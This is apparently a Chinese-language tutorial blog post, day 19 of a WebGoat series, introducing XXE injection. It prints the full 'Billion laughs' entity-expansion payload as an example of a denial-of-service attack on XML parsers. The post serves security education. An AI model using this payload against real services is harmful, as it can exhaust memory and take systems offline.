iT邦幫忙

2019 iT 邦幫忙鐵人賽

DAY 19
0
Security

資安補漏洞,越補越大洞系列 第 19

[Day 19] 來玩WebGoat!之7:XXE Injection

今天要來介紹的是XML External Entity (XXE) injection漏洞,這個漏洞其實跟之前介紹的SQL Injeciton有那麼一點點的相似,差別則是在於SQL Injection是利用竄改SQL語法達到攻擊目的,而XXE Injection則是利用竄改XML語法來達到攻擊的目的。

XXE這個漏洞會在XML引用了來自外部的實體,但卻有沒有過濾引用的是什麼東西,因此有可能會造成受害電腦資料外洩、DoS攻擊或對外進行Port Scan等等。

以下列這段程式碼為例,讀取這段XML的電腦就會導致自己被DoS攻擊,並消耗約3G的記憶體來處理,而這段程式碼也被叫做「Billion laughs」攻擊,因為lol (laugh out loud)在英文是大笑的意思。

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

今天先簡單介紹到這裡,明天再介紹挑戰的例子囉!


上一篇
[Day 18] 來玩WebGoat!之6:SQL Injection (advanced) - Blind SQL Injection
下一篇
[Day 20] 來玩WebGoat!之8:XXE Injection 2
系列文
資安補漏洞,越補越大洞30

尚未有邦友留言

立即登入留言